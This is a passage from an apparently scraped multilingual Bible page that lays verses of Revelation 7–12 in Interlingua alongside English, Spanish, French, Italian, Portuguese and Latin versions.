stantes super quattuor angulos terrae tenentes quattuor ventos terrae ne flaret ventus super terram neque super mare neque in ullam arborem\nE io videva un altere angelo que ascendeva ex le sol levante, le qual habeva le sigillo del Deo vivente; e ille critava con grande voce al quatro angelos al quales esseva date le poter pro damnificar le terra e le mar, dicente:Modificar\nE io videva un altere angelo que ascendeva ex le sol levante, le qual habeva le sigillo del Deo vivente; e ille critava con grande voce al quatro angelos al quales esseva date le poter pro damnificar le terra e le mar, dicente:\nen: And I saw another angel ascending from the east, having the seal of the living God: and he cried with a loud voice to the four angels, to whom it was given to hurt the earth and the sea,\nes: Y vi otro ángel que subía del nacimiento del sol, teniendo el sello del Dios vivo: y clamó con gran voz á los cuatro ángeles, á los cuales era dado hacer daño á la tierra y á la mar,\nfr: Et je vis un autre ange, qui montait du côté du soleil levant, et qui tenait le sceau du Dieu vivant; il cria d'une voix forte aux quatre anges à qui il avait été donné de faire du mal à la terre et à la mer, et il dit:\nit: E vidi un altro angelo che saliva dal sol levante, il quale aveva il suggello dell'Iddio vivente; ed egli gridò con gran voce ai quattro angeli ai quali era dato di danneggiare la terra e il mare, dicendo:\npt: E vi outro anjo subir do lado do sol nascente, tendo o selo do Deus vivo; e clamou com grande voz aos quatro anjos, quem fora dado que danificassem a terra e o mar,\nlt: et vidi alterum angelum ascendentem ab ortu solis habentem signum Dei vivi et clamavit voce magna quattuor angelis quibus datum est nocere terrae et mari\nDepost iste cosas io reguardava, e ecce un grande turba que necun homine poteva numerar, de tote le nationes e tribos e populos e linguas, que stava in pede ante le throno e ante le Agno, vestite de vestes blanc e con palmas in mano.Modificar\nDepost iste cosas io reguardava, e ecce un grande turba que necun homine poteva numerar, de tote le nationes e tribos e populos e linguas, que stava in pede ante le throno e ante le Agno, vestite de vestes blanc e con palmas in mano.\nen: After this I beheld, and, lo, a great multitude, which no man could number, of all nations, and kindreds, and people, and tongues, stood before the throne, and before the Lamb, clothed with white robes, and palms in their hands;\nes: Después de estas cosas miré, y he aquí una gran compañía, la cual ninguno podía contar, de todas gentes y linajes y pueblos y lenguas, que estaban delante del trono y en la presencia del Cordero, vestidos de ropas blancas, y palmas en sus manos;\nfr: Après cela, je regardai, et voici, il y avait une grande foule, que personne ne pouvait compter, de toute nation, de toute tribu, de tout peuple, et de toute langue. Ils se tenaient devant le trône et devant l'agneau, revêtus de robes blanches, et des palmes dans leurs mains.\nit: Dopo queste cose vidi, ed ecco una gran folla che nessun uomo poteva noverare, di tutte le nazioni e tribù e popoli e lingue, che stava in piè davanti al trono e davanti all'Agnello, vestiti di vesti bianche e con delle palme in mano.\npt: Depois destas coisas olhei, e eis uma grande multidão, que ninguém podia contar, de todas as nações, tribos, povos e línguas, que estavam em pé diante do trono e em presença do Cordeiro, trajando compridas vestes brancas, e com palmas nas mãos;\nlt: post haec vidi turbam magnam quam dinumerare nemo poterat ex omnibus gentibus et tribubus et populis et linguis stantes ante thronum et in conspectu agni amicti stolas albas et palmae in manibus eorum\nE un altere angelo veniva e stava apud le altar, habente un incensario de auro; e le esseva date multe perfumos a fin que los univa al orationes de tote le sanctos supra le altar de auro que stava ante al throno.Modificar\nE un altere angelo veniva e stava apud le altar, habente un incensario de auro; e le esseva date multe perfumos a fin que los univa al orationes de tote le sanctos supra le altar de auro que stava ante al throno.\nen: And another angel came and stood at the altar, having a golden censer; and there was given unto him much incense, that he should offer it with the prayers of all saints upon the golden altar which was before the throne.\nes: Y otro ángel vino, y se paró delante del altar, teniendo un incensario de oro; y le fué dado mucho incienso para que lo añadiese á las oraciones de todos los santos sobre el altar de oro que estaba delante del trono.\nfr: Et un autre ange vint, et il se tint sur l'autel, ayant un encensoir d'or; on lui donna beaucoup de parfums, afin qu'il les offrît, avec les prières de tous les saints, sur l'autel d'or qui est devant le trône.\nit: E un altro angelo venne e si fermò presso l'altare, avendo un turibolo d'oro; e gli furon dati molti profumi affinché li unisse alle preghiere di tutti i santi sull'altare d'oro che era davanti al trono.\npt: Veio outro anjo, e pôs-se junto ao altar, tendo um incensário de ouro; e foi-lhe dado muito incenso, para que o oferecesse com as orações de todos os santos sobre o altar de ouro que está diante do trono.\nlt: et alius angelus venit et stetit ante altare habens turibulum aureum et data sunt illi incensa multa ut daret orationibus sanctorum omnium super altare aureum quod est ante thronum\nE le prime sonava, e habeva grandine e foco, mixturate con sanguine, que esseva jectate supra le terra; e le tertie parte del terra esseva ardite, e le tertie parte del arbores esseva ardite, e omne herba verde esseva ardite.Modificar\nE le prime sonava, e habeva grandine e foco, mixturate con sanguine, que esseva jectate supra le terra; e le tertie parte del terra esseva ardite, e le tertie parte del arbores esseva ardite, e omne herba verde esseva ardite.\nen: The first angel sounded, and there followed hail and fire mingled with blood, and they were cast upon the earth: and the third part of trees was burnt up, and all green grass was burnt up.\nes: Y el primer ángel tocó la trompeta, y fué hecho granizo y fuego, mezclado con sangre, y fueron arrojados á la tierra; y la tercera parte de los árboles fué quemada, y quemóse toda la hierba verde.\nfr: Le premier sonna de la trompette. Et il y eut de la grêle et du feu mêlés de sang, qui furent jetés sur la terre; et le tiers de la terre fut brûlé, et le tiers des arbres fut brûlé, et toute herbe verte fut brûlée.\nit: E il primo sonò, e vi fu grandine e fuoco, mescolati con sangue, che furon gettati sulla terra; e la terza parte della terra fu arsa, e la terza parte degli alberi fu arsa, ed ogni erba verde fu arsa.\npt: O primeiro anjo tocou a sua trombeta, e houve saraiva e fogo misturado com sangue, que foram lançados na terra; e foi queimada a terça parte da terra, a terça parte das árvores, e toda a erva verde.\nlt: et primus tuba cecinit et facta est grando et ignis mixta in sanguine et missum est in terram et tertia pars terrae conbusta est et tertia pars arborum conbusta est et omne faenum viride conbustum est\nPostea sonava le quarte angelo, e le tertie parte del sol esseva colpate e le tertie parte del luna e le tertie parte del stellas e lor tertie parte se obscurava e tertie parte del die non resplendeva e similemente le nocte.Modificar\nPostea sonava le quarte angelo, e le tertie parte del sol esseva colpate e le tertie parte del luna e le tertie parte del stellas e lor tertie parte se obscurava e tertie parte del die non resplendeva e similemente le nocte.\nen: And the fourth angel sounded, and the third part of the sun was smitten, and the third part of the moon, and the third part of the stars; so as the third part of them was darkened, and the day shone not for a third part of it, and the night likewise.\nes: Y el cuarto ángel tocó la trompeta, y fué herida la tercera parte del sol, y la tercera parte de la luna, y la tercera parte de las estrellas; de tal manera que se oscureció la tercera parte de ellos, y no alumbraba la tercera parte del día, y lo mismo de la noche.\nfr: Le quatrième ange sonna de la trompette. Et le tiers du soleil fut frappé, et le tiers de la lune, et le tiers des étoiles, afin que le tiers en fût obscurci, et que le jour perdît un tiers de sa clarté, et la nuit de même.\nit: Poi sonò il quarto angelo, e la terza parte del sole fu colpita e la terza parte della luna e la terza parte delle stelle affinché la loro terza parte si oscurasse e il giorno non risplendesse per la sua terza parte e lo stesso avvenisse della notte.\npt: O quarto anjo tocou a sua trombeta, e foi ferida a terça parte do sol, a terça parte da lua, e a terça parte das estrelas; para que a terça parte deles se escurecesse, e a terça parte do dia não brilhante, e semelhantemente a da noite.\nlt: et quartus angelus tuba cecinit et percussa est tertia pars solis et tertia pars lunae et tertia pars stellarum ut obscuraretur tertia pars eorum et diei non luceret pars tertia et nox similiter\nE io reguardava e audiva un angelo que volava in medio al celo e diceva con grande voce: Guai, guai, guai a qui habita supra le terra, per causa del altere sonos de trompetta del tres angelos que debe ancora sonar!Modificar\nE io reguardava e audiva un angelo que volava in medio al celo e diceva con grande voce: Guai, guai, guai a qui habita supra le terra, per causa del altere sonos de trompetta del tres angelos que debe ancora sonar!\nen: And I beheld, and heard an angel flying through the midst of heaven, saying with a loud voice, Woe, woe, woe, to the inhabiters of the earth by reason of the other voices of the trumpet of the three angels, which are yet to sound!\nes: Y miré, y oí un ángel volar por medio del cielo, diciendo en alta voz: ¡Ay! ¡ay! ¡ay! de los que moran en la tierra, por razón de las otras voces de trompeta de los tres ángeles que han de tocar!\nfr: Je regardai, et j'entendis un aigle qui volait au milieu du ciel, disant d'une voix forte: Malheur, malheur, malheur aux habitants de la terre, à cause des autres sons de la trompette des trois anges qui vont sonner!\nit: E guardai e udii un'aquila che volava in mezzo al cielo e diceva con gran voce: Guai, guai, guai a quelli che abitano sulla terra, a cagione degli altri suoni di tromba dei tre angeli che debbono ancora sonare!\npt: E olhei, e ouvi uma águia que, voando pelo meio do céu, dizia com grande voz: Ai, ai, ai dos que habitam sobre a terra! por causa dos outros toques de trombeta dos três anjos que ainda vão tocar.\nlt: et vidi et audivi vocem unius aquilae volantis per medium caelum dicentis voce magna vae vae vae habitantibus in terra de ceteris vocibus tubae trium angelorum qui erant tuba canituri\nE le locustas esseva simile a cavallos preparate pro le guerra; e supra lor testas illos habeva coronas simile a auro e lor facies esseva como facies de homines.Modificar\nE le locustas esseva simile a cavallos preparate pro le guerra; e supra lor testas illos habeva coronas simile a auro e lor facies esseva como facies de homines.\nen: And the shapes of the locusts were like unto horses prepared unto battle; and on their heads were as it were crowns like gold, and their faces were as the faces of men.\nes: Y el parecer de las langostas era semejante á caballos aparejados para la guerra: y sobre sus cabezas tenían como coronas semejantes al oro; y sus caras como caras de hombres.\nfr: Ces sauterelles ressemblaient à des chevaux préparés pour le combat; il y avait sur leurs têtes comme des couronnes semblables à de l'or, et leurs visages étaient comme des visages d'hommes.\nit: E nella forma le locuste eran simili a cavalli pronti alla guerra; e sulle teste aveano come delle corone simili ad oro e le loro facce eran come facce d'uomini.\npt: A aparência dos gafanhotos era semelhante à de cavalos aparelhados para a guerra; e sobre as suas cabeças havia como que umas coroas semelhantes ao ouro; e os seus rostos eram como rostos de homens.\nlt: et similitudines lucustarum similes equis paratis in proelium et super capita earum tamquam coronae similes auro et facies earum sicut facies hominum\nE io videva in le vision le cavallos e illes qui los cavalcava: illes habeva cuirasses de foco, de hyacintho e de sulfure; e le testas del cavallos esseva como capite de leones; e ex lor buccas exiva foco e fumo e sulfure.Modificar\nE io videva in le vision le cavallos e illes qui los cavalcava: illes habeva cuirasses de foco, de hyacintho e de sulfure; e le testas del cavallos esseva como capite de leones; e ex lor buccas exiva foco e fumo e sulfure.\nen: And thus I saw the horses in the vision, and them that sat on them, having breastplates of fire, and of jacinth, and brimstone: and the heads of the horses were as the heads of lions; and out of their mouths issued fire and smoke and brimstone.\nes: Y así vi los caballos en visión, y los que sobre ellos estaban sentados, los cuales tenían corazas de fuego, de jacinto, y de azufre. Y las cabezas de los caballos eran como cabezas de leones; y de la boca de ellos salía fuego y humo y azufre.\nfr: Et ainsi je vis les chevaux dans la vision, et ceux qui les montaient, ayant des cuirasses couleur de feu, d'hyacinthe, et de soufre. Les têtes des chevaux étaient comme des têtes de lions; et de leurs bouches il sortait du feu, de la fumée, et du soufre.\nit: Ed ecco come mi apparvero nella visione i cavalli e quelli che li cavalcavano: aveano degli usberghi di fuoco, di giacinto e di zolfo; e le teste dei cavalli erano come teste di leoni; e dalle loro bocche usciva fuoco e fumo e zolfo.\npt: E assim vi os cavalos nesta visão: os que sobre eles estavam montados tinham couraças de fogo, e de jacinto, e de enxofre; e as cabeças dos cavalos eram como cabeças de leões; e de suas bocas saíam fogo, fumaça e enxofre.\nlt: et ita vidi equos in visione et qui sedebant super eos habentes loricas igneas et hyacinthinas et sulphureas et capita equorum erant tamquam capita leonum et de ore ipsorum procedit ignis et fumus et sulphur\nE le resto del homines qui non esseva occidite per iste plagas, non se repentiva del operas de lor manos, pro non adorar plus le demonios e idolos de auro e de argento e de bronzo e de petra e de ligno, le quales non pote ni vider, ni audir, ni camminar;Modificar\nE le resto del homines qui non esseva occidite per iste plagas, non se repentiva del operas de lor manos, pro non adorar plus le demonios e idolos de auro e de argento e de bronzo e de petra e de ligno, le quales non pote ni vider, ni audir, ni camminar;\nen: And the rest of the men which were not killed by these plagues yet repented not of the works of their hands, that they should not worship devils, and idols of gold, and silver, and brass, and stone, and of wood: which neither can see, nor hear, nor walk:\nes: Y los otros hombres que no fueron muertos con estas plagas, aun no se arrepintieron de las obras de sus manos, para que no adorasen á los demonios, y á las imágenes de oro, y de plata, y de metal, y de piedra, y de madera; las cuales no pueden ver, ni oir, ni andar:\nfr: Les autres hommes qui ne furent pas tués par ces fléaux ne se repentirent pas des oeuvres de leurs mains, de manière à ne point adorer les démons, et les idoles d'or, d'argent, d'airain, de pierre et de bois, qui ne peuvent ni voir, ni entendre, ni marcher;\nit: E il resto degli uomini che non furono uccisi da queste piaghe, non si ravvidero delle opere delle loro mani sì da non adorar più i demonî e gl'idoli d'oro e d'argento e di rame e di pietra e di legno, i quali non possono né vedere, né udire, né camminare;\npt: Os outros homens, que não foram mortos por estas pragas, não se arrependeram das obras das suas mãos, para deixarem de adorar aos demônios, e aos ídolos de ouro, de prata, de bronze, de pedra e de madeira, que nem podem ver, nem ouvir, nem andar.\nlt: et ceteri homines qui non sunt occisi in his plagis neque paenitentiam egerunt de operibus manuum suarum ut non adorarent daemonia et simulacra aurea et argentea et aerea et lapidea et lignea quae neque videre possunt neque audire neque ambulare\nE post que le septe tonitros faceva audir lor voces, io stava pro scriber; ma io audiva un voce ab le celo que me diceva: Sigilla le cosas que le septe tonitros ha pronunciate, e non los scriber.Modificar\nE post que le septe tonitros faceva audir lor voces, io stava pro scriber; ma io audiva un voce ab le celo que me diceva: Sigilla le cosas que le septe tonitros ha pronunciate, e non los scriber.\nen: And when the seven thunders had uttered their voices, I was about to write: and I heard a voice from heaven saying unto me, Seal up those things which the seven thunders uttered, and write them not.\nes: Y cuando los siete truenos hubieron hablado sus voces, yo iba á escribir, y oí una voz del cielo que me decía: Sella las cosas que los siete truenos han hablado, y no las escribas.\nfr: Et quand les sept tonnerres eurent fait entendre leurs voix, j'allais écrire; et j'entendis du ciel une voix qui disait: Scelle ce qu'ont dit les sept tonnerres, et ne l'écris pas.\nit: E quando i sette tuoni ebbero fatto udire le loro voci, io stavo per scrivere; ma udii una voce dal cielo che mi disse: Suggella le cose che i sette tuoni hanno proferite, e non le scrivere.\npt: Quando os sete trovões acabaram de soar eu já ia escrever, mas ouvi uma voz do céu, que dizia: Sela o que os sete trovões falaram, e não o escrevas.\nlt: et cum locuta fuissent septem tonitrua scripturus eram et audivi vocem de caelo dicentem signa quae locuta sunt septem tonitrua et noli ea scribere\naltiava le mano dextre al celo e jurava per Ille qui vive in le seculos del seculos, le qual ha create le celo e le cosas que es in illos e le terra e le cosas que es in illo e le mar e le cosas que es in illo, que non habera plus retardo;Modificar\naltiava le mano dextre al celo e jurava per Ille qui vive in le seculos del seculos, le qual ha create le celo e le cosas que es in illos e le terra e le cosas que es in illo e le mar e le cosas que es in illo, que non habera plus retardo;\nen: And sware by him that liveth for ever and ever, who created heaven, and the things that therein are, and the earth, and the things that therein are, and the sea, and the things which are therein, that there should be time no longer:\nes: Y juró por el que vive para siempre jamás, que ha criado el cielo y las cosas que están en Él, y la tierra y las cosas que están en ella, y el mar y las cosas que están en Él, que el tiempo no será más.\nfr: et jura par celui qui vit aux siècles des siècles, qui a créé le ciel et les choses qui y sont, la terre et les choses qui y sont, et la mer et les choses qui y sont, qu'il n'y aurait plus de temps,\nit: levò la man destra al cielo e giurò per Colui che vive nei secoli dei secoli, il quale ha creato il cielo e le cose che sono in esso e la terra e le cose che sono in essa e il mare e le cose che sono in esso, che non ci sarebbe più indugio;\npt: e jurou por aquele que vive pelos séculos dos séculos, o qual criou o céu e o que nele há, e a terra e o que nela há, e o mar e o que nele há, que não haveria mais demora,\nlt: et iuravit per viventem in saecula saeculorum qui creavit caelum et ea quae in illo sunt et terram et ea quae in ea sunt et mare et quae in eo sunt quia tempus amplius non erit\nIlles ha le poter de clauder le celo a fin que non cade pluvia durante le dies de lor prophetia; e illes ha potestate super le aquas pro converter los in sanguine, potestate de percuter le terra con qualcunque plaga, quante vices illes volera.Modificar\nIlles ha le poter de clauder le celo a fin que non cade pluvia durante le dies de lor prophetia; e illes ha potestate super le aquas pro converter los in sanguine, potestate de percuter le terra con qualcunque plaga, quante vices illes volera.\nen: These have power to shut heaven, that it rain not in the days of their prophecy: and have power over waters to turn them to blood, and to smite the earth with all plagues, as often as they will.\nes: Estos tienen potestad de cerrar el cielo, que no llueva en los días de su profecía, y tienen poder sobre las aguas para convertirlas en sangre, y para herir la tierra con toda plaga cuantas veces quisieren.\nfr: Ils ont le pouvoir de fermer le ciel, afin qu'il ne tombe point de pluie pendant les jours de leur prophétie; et ils ont le pouvoir de changer les eaux en sang, et de frapper la terre de toute espèce de plaie, chaque fois qu'ils le voudront.\nit: Essi hanno il potere di chiudere il cielo onde non cada pioggia durante i giorni della loro profezia; e hanno potestà sulle acque di convertirle in sangue, potestà di percuotere la terra di qualunque piaga, quante volte vorranno.\npt: Elas têm poder para fechar o céu, para que não chova durante os dias da sua profecia; e têm poder sobre as águas para convertê-las em sangue, e para ferir a terra com toda sorte de pragas, quantas vezes quiserem.\nlt: hii habent potestatem cludendi caelum ne pluat diebus prophetiae ipsorum et potestatem habent super aquas convertendi eas in sanguinem et percutere terram omni plaga quotienscumque voluerint\nE le homines del varie populos e tribos e linguas e nationes videra lor corpores morte per tres dies e medio, e illes non lassara que lor corpores morte sia sepelite.Modificar\nE le homines del varie populos e tribos e linguas e nationes videra lor corpores morte per tres dies e medio, e illes non lassara que lor corpores morte sia sepelite.\nen: And they of the people and kindreds and tongues and nations shall see their dead bodies three days and an half, and shall not suffer their dead bodies to be put in graves.\nes: Y los de los linajes, y de los pueblos, y de las lenguas, y de los Gentiles verán los cuerpos de ellos por tres días y medio, y no permitirán que sus cuerpos sean puestos en sepulcros.\nfr: Des hommes d'entre les peuples, les tribus, les langues, et les nations, verront leurs cadavres pendant trois jours et demi, et ils ne permettront pas que leurs cadavres soient mis dans un sépulcre.\nit: E gli uomini dei varî popoli e tribù e lingue e nazioni vedranno i loro corpi morti per tre giorni e mezzo, e non lasceranno che i loro corpi morti siano posti in un sepolcro.\npt: Homens de vários povos, e tribos e línguas, e nações verão os seus corpos por três dias e meio, e não permitirão que sejam sepultados.\nlt: et videbunt de populis et tribubus et linguis et gentibus corpora eorum per tres dies et dimidium et corpora eorum non sinunt poni in monumentis\nE le habitantes del terra gaudera e illes se allegrara e mandara donos le unes al alteres, perque iste duo prophetas habeva tormentate le habitantes del terra.Modificar\nE le habitantes del terra gaudera e illes se allegrara e mandara donos le unes al alteres, perque iste duo prophetas habeva tormentate le habitantes del terra.\nen: And they that dwell upon the earth shall rejoice over them, and make merry, and shall send gifts one to another; because these two prophets tormented them that dwelt on the earth.\nes: Y los moradores de la tierra se gozarán sobre ellos, y se alegrarán, y se enviarán dones los unos á los otros; porque estos dos profetas han atormentado á los que moran sobre la tierra.\nfr: Et à cause d'eux les habitants de la terre se réjouiront et seront dans l'allégresse, et ils s'enverront des présents les uns aux autres, parce que ces deux prophètes ont tourmenté les habitants de la terre.\nit: E gli abitanti della terra si rallegreranno di loro e faranno festa e si manderanno regali gli uni agli altri, perché questi due profeti avranno tormentati gli abitanti della terra.\npt: E os que habitam sobre a terra se regozijarão sobre eles, e se alegrarão; e mandarão presentes uns aos outros, porquanto estes dois profetas atormentaram os que habitam sobre a terra.\nlt: et inhabitantes terram gaudebunt super illis et iucundabuntur et munera mittent invicem quoniam hii duo prophetae cruciaverunt eos qui inhabitant super terram\nE in celle hora habeva un grande seismo, e le decime parte del citate cadeva, e septe mille personas esseva occidite in le seismo; e le restante esseva espaventate e dava gloria al Deo del celo.Modificar\nE in celle hora habeva un grande seismo, e le decime parte del citate cadeva, e septe mille personas esseva occidite in le seismo; e le restante esseva espaventate e dava gloria al Deo del celo.\nen: And the same hour was there a great earthquake, and the tenth part of the city fell, and in the earthquake were slain of men seven thousand: and the remnant were affrighted, and gave glory to the God of heaven.\nes: Y en aquella hora fué hecho gran temblor de tierra, y la décima parte de la ciudad cayó, y fueron muertos en el temblor de tierra en número de siete mil hombres: y los demás fueron espantados, y dieron gloria al Dios del cielo.\nfr: A cette heure-là, il y eut un grand tremblement de terre, et la dixième partie de la ville, tomba; sept mille hommes furent tués dans ce tremblement de terre, et les autres furent effrayés et donnèrent gloire au Dieu du ciel.\nit: E in quell'ora si fece un gran terremoto, e la decima parte della città cadde, e settemila persone furono uccise nel terremoto; e il rimanente fu spaventato e dette gloria all'Iddio del cielo.\npt: E naquela hora houve um grande terremoto, e caiu a décima parte da cidade, e no terremoto foram mortos sete mil homens; e os demais ficaram atemorizados, e deram glória ao Deus do céu.\nlt: et in illa hora factus est terraemotus magnus et decima pars civitatis cecidit et occisi sunt in terraemotu nomina hominum septem milia et reliqui in timore sunt missi et dederunt gloriam Deo caeli\nE le septime angelo sonava le trompetta, e se audiva grande voces in celo, que diceva: Le regno del mundo ha devenite de nostre Senior e de su Christo; e ille regnara in le seculos del seculos.Modificar\nE le septime angelo sonava le trompetta, e se audiva grande voces in celo, que diceva: Le regno del mundo ha devenite de nostre Senior e de su Christo; e ille regnara in le seculos del seculos.\nen: And the seventh angel sounded; and there were great voices in heaven, saying, The kingdoms of this world are become the kingdoms of our Lord, and of his Christ; and he shall reign for ever and ever.\nes: Y el séptimo ángel tocó la trompeta, y fueron hechas grandes voces en el cielo, que decían: Los reinos del mundo han venido á ser los reinos de nuestro Señor, y de su Cristo: y reinará para siempre jamás.\nfr: Le septième ange sonna de la trompette. Et il y eut dans le ciel de fortes voix qui disaient: Le royaume du monde est remis à notre Seigneur et à son Christ; et il régnera aux siècles des siècles.\nit: Ed il settimo angelo sonò, e si fecero gran voci nel cielo, che dicevano: Il regno del mondo è venuto ad essere del Signor nostro e del suo Cristo; ed egli regnerà ne' secoli dei secoli.\npt: E tocou o sétimo anjo a sua trombeta, e houve no céu grandes vozes, que diziam: O reino do mundo passou a ser de nosso Senhor e do seu Cristo, e ele reinará pelos séculos dos séculos.\nlt: et septimus angelus tuba cecinit et factae sunt voces magnae in caelo dicentes factum est regnum huius mundi Domini nostri et Christi eius et regnabit in saecula saeculorum\nLe nationes se habeva incholerisate, ma tu cholera ha arrivate, e nunc es le tempore pro judicar le mortos, pro dar le premio a tu servos, le prophetas, e al sanctos e a illes qui time tu nomine, parves e grandes, e de destruer qui destrue le terra.Modificar\nLe nationes se habeva incholerisate, ma tu cholera ha arrivate, e nunc es le tempore pro judicar le mortos, pro dar le premio a tu servos, le prophetas, e al sanctos e a illes qui time tu nomine, parves e grandes, e de destruer qui destrue le terra.\nen: And the nations were angry, and thy wrath is come, and the time of the dead, that they should be judged, and that thou shouldest give reward unto thy servants the prophets, and to the saints, and them that fear thy name, small and great; and shouldest destroy them which destroy the earth.\nes: Y se han airado las naciones, y tu ira es venida, y el tiempo de los muertos, para que sean juzgados, y para que des el galardón á tus siervos los profetas, y á los santos, y á los que temen tu nombre, á los pequeñitos y á los grandes, y para que destruyas los que destruyen la tierra.\nfr: Les nations se sont irritées; et ta colère est venue, et le temps est venu de juger les morts, de récompenser tes serviteurs les prophètes, les saints et ceux qui craignent ton nom, les petits et les grands, et de détruire ceux qui détruisent la terre.\nit: Le nazioni s'erano adirate, ma l'ira tua è giunta, ed è giunto il tempo di giudicare i morti, di dare il loro premio ai tuoi servitori, i profeti, ed ai santi e a quelli che temono il tuo nome, e piccoli e grandi, e di distruggere quelli che distruggon la terra.\npt: Iraram-se, na verdade, as nações; então veio a tua ira, e o tempo de serem julgados os mortos, e o tempo de dares recompensa aos teus servos, os profetas, e aos santos, e aos que temem o teu nome, a pequenos e a grandes, e o tempo de destruíres os que destroem a terra.\nlt: et iratae sunt gentes et advenit ira tua et tempus mortuorum iudicari et reddere mercedem servis tuis prophetis et sanctis et timentibus nomen tuum pusillis et magnis et exterminandi eos qui corruperunt terram\nE su cauda trainava le tertie parte del stellas del celo e los lanceava supra le terra. E le dracon se arrestava ante le femina qui stava pro parturir, pro devorar le su filio, post que illa le haberea parturite.Modificar\nE su cauda trainava le tertie parte del stellas del celo e los lanceava supra le terra. E le dracon se arrestava ante le femina qui stava pro parturir, pro devorar le su filio, post que illa le haberea parturite.\nen: And his tail drew the third part of the stars of heaven, and did cast them to the earth: and the dragon stood before the woman which was ready to be delivered, for to devour her child as soon as it was born.\nes: Y su cola arrastraba la tercera parte de las estrellas del cielo, y las echó en tierra. Y el dragón se paró delante de la mujer que estaba para parir, á fin de devorar á su hijo cuando hubiese parido.\nfr: Sa queue entraînait le tiers des étoiles du ciel, et les jetait sur la terre. Le dragon se tint devant la femme qui allait enfanter, afin de dévorer son enfant, lorsqu'elle aurait enfanté.\nit: E la sua coda trascinava la terza parte delle stelle del cielo e le gettò sulla terra. E il dragone si fermò davanti alla donna che stava per partorire, affin di divorarne il figliuolo, quando l'avrebbe partorito.\npt: a sua cauda levava após si a terça parte das estrelas do céu, e lançou-as sobre a terra; e o dragão parou diante da mulher que estava para dar à luz, para que, dando ela à luz, lhe devorasse o filho.\nlt: et cauda eius trahebat tertiam partem stellarum caeli et misit eas in terram et draco stetit ante mulierem quae erat paritura ut cum peperisset filium eius devoraret\nE le grande dracon, le serpente antique, que es appellate Diabolo e Satan, le seductor de tote le mundo, esseva jectate in basso; ille esseva jectate supra le terra, e con ille esseva jectate su angelos.Modificar\nE le grande dracon, le serpente antique, que es appellate Diabolo e Satan, le seductor de tote le mundo, esseva jectate in basso; ille esseva jectate supra le terra, e con ille esseva jectate su angelos.\nen: And the great dragon was cast out, that old serpent, called the Devil, and Satan, which deceiveth the whole world: he was cast out into the earth, and his angels were cast out with him.\nes: Y fué lanzado fuera aquel gran dragón, la serpiente antigua, que se llama Diablo y Satanás, el cual engaña á todo el mundo; fué arrojado en tierra, y sus ángeles fueron arrojados con Él.\nfr: Et il fut précipité, le grand dragon, le serpent ancien, appelé le diable et Satan, celui qui séduit toute la terre, il fut précipité sur la terre, et ses anges furent précipités avec lui.\nit: E il gran dragone, il serpente antico, che è chiamato Diavolo e Satana, il seduttore di tutto il mondo, fu gettato giù; fu gettato sulla terra, e con lui furon gettati gli angeli suoi.\npt: E foi precipitado o grande dragão, a antiga serpente, que se chama o Diabo e Satanás, que engana todo o mundo; foi precipitado na terra, e os seus anjos foram precipitados com ele.\nlt: et proiectus est draco ille magnus serpens antiquus qui vocatur Diabolus et Satanas qui seducit universum orbem proiectus est in terram et angeli eius cum illo missi sunt\nE io audiva un grande voce in celo que diceva: Nunc ha venite le salvation e le potentia e le regno de nostre Deo, e le potestate de su Christo, perque il ha essite jectate a basso le accusator del nostre fratres, qui les accusava ante nostre Deo, die e nocte.Modificar\nE io audiva un grande voce in celo que diceva: Nunc ha venite le salvation e le potentia e le regno de nostre Deo, e le potestate de su Christo, perque il ha essite jectate a basso le accusator del nostre fratres, qui les accusava ante nostre Deo, die e nocte.\nen: And I heard a loud voice saying in heaven, Now is come salvation, and strength, and the kingdom of our God, and the power of his Christ: for the accuser of our brethren is cast down, which accused them before our God day and night.\nes: Y oí una grande voz en el cielo que decía: Ahora ha venido la salvación, y la virtud, y el reino de nuestro Dios, y el poder de su Cristo; porque el acusador de nuestros hermanos ha sido arrojado, el cual los acusaba delante de nuestro Dios día y noche.\nfr: Et j'entendis dans le ciel une voix forte qui disait: Maintenant le salut est arrivé, et la puissance, et le règne de notre Dieu, et l'autorité de son Christ; car il a été précipité, l'accusateur de nos frères, celui qui les accusait devant notre Dieu jour et nuit.\nit: Ed io udii una gran voce nel cielo che diceva: Ora è venuta la salvezza e la potenza ed il regno dell'Iddio nostro, e la potestà del suo Cristo, perché è stato gettato giù l'accusatore dei nostri fratelli, che li accusava dinanzi all'Iddio nostro, giorno e notte.\npt: Então, ouvi uma grande voz no céu, que dizia: Agora é chegada a salvação, e o poder, e o reino do nosso Deus, e a autoridade do seu Cristo; porque já foi lançado fora o acusador de nossos irmãos, o qual diante do nosso Deus os acusava dia e noite.\nlt: et audivi vocem magnam in caelo dicentem nunc facta est salus et virtus et regnum Dei nostri et potestas Christi eius quia proiectus est accusator fratrum nostrorum qui accusabat illos ante conspectum Dei nostri die ac nocte\nErgo, allegra vos, oh celos, e vos que habita in illos. Guai a vos, oh terra, oh mar! Perque le diabolo ha descendite a vos con grande furor, sapente de non haber plus que un breve tempore.Modificar\nErgo, allegra vos, oh celos, e vos que habita in illos. Guai a vos, oh terra, oh mar! Perque le diabolo ha descendite a vos con grande furor, sapente de non haber plus que un breve tempore.\nen: Therefore rejoice, ye heavens, and ye that dwell in them. Woe to the inhabiters of the earth and of the sea! for the devil is come down unto you, having great wrath, because he knoweth that he hath but a short time.\nes: Por lo cual alegraos, cielos, y los que moráis en ellos. ¡Ay de los moradores de la tierra y del mar! porque el diablo ha descendido á vosotros, teniendo grande ira, sabiendo que tiene poco tiempo.\nfr: C'est pourquoi réjouissez-vous, cieux, et vous qui habitez dans les cieux. Malheur à la terre et à la mer! car le diable est descendu vers vous, animé d'une grande colère, sachant qu'il a peu de temps.\nit: Perciò rallegratevi, o cieli, e voi che abitate in essi. Guai a voi, o terra, o mare! Perché il diavolo è disceso a voi con gran furore, sapendo di non aver che breve tempo.\npt: Pelo que alegrai-vos, ó céus, e vós que neles habitais. Mas ai da terra e do mar! porque o Diabo desceu a vós com grande ira, sabendo que pouco tempo lhe resta.\nlt: propterea laetamini caeli et qui habitatis in eis vae terrae et mari quia descendit diabolus ad vos habens iram magnam sciens quod modicum tempus habet\nSed al femina esseva date duo alas de un grande aquila a fin que illa volava in le deserto, in su loco, ubi illa es nutrite per un tempore, e tempores e le medietate de un tempore, lontan del presentia del serpente.Modificar\nSed al femina esseva date duo alas de un grande aquila a fin que illa volava in le deserto, in su loco, ubi illa es nutrite per un tempore, e tempores e le medietate de un tempore, lontan del presentia del serpente.\nen: And to the woman were given two wings of a great eagle, that she might fly into the wilderness, into her place, where she is nourished for a time, and times, and half a time, from the face of the serpent.\nes: Y fueron dadas á la mujer dos alas de grande águila, para que de la presencia de la serpiente volase al desierto, á su lugar, donde es 